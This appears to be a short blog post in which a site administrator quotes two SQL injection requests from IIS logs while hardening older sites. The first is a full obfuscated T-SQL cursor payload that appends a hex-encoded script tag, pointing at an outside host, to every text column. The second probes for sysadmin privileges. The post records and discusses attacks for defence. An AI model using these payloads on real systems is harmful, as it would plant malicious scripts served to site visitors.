Here is another example of a SQL injection attack found while digging through my IIS logs.
These were appended to the end of the URI as HTTP GET. How long before we see these attacks as POST or inside the URI, not appended to the end?
dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=['+@c+']+cAsT(0x223E3C2F7469746C653E3C736372697074207
372633D687474703A2F2F253733253631253739253338253245253735253
7332F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;
202.165.185.210
HTTP/1.1 Mozilla/4.0
This request is always followed by another GET request with this SQL injection attack:And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1
202.165.185.210
HTTP/1.1 Mozilla/4.0
This has all been brought to light because I have had to retrofit some of my older sites
due to thier vulnerability to some of the mass SQL injection attacks lately.
technorati: SQL Injection
Comments:
Created 207 weeks, 3 days ago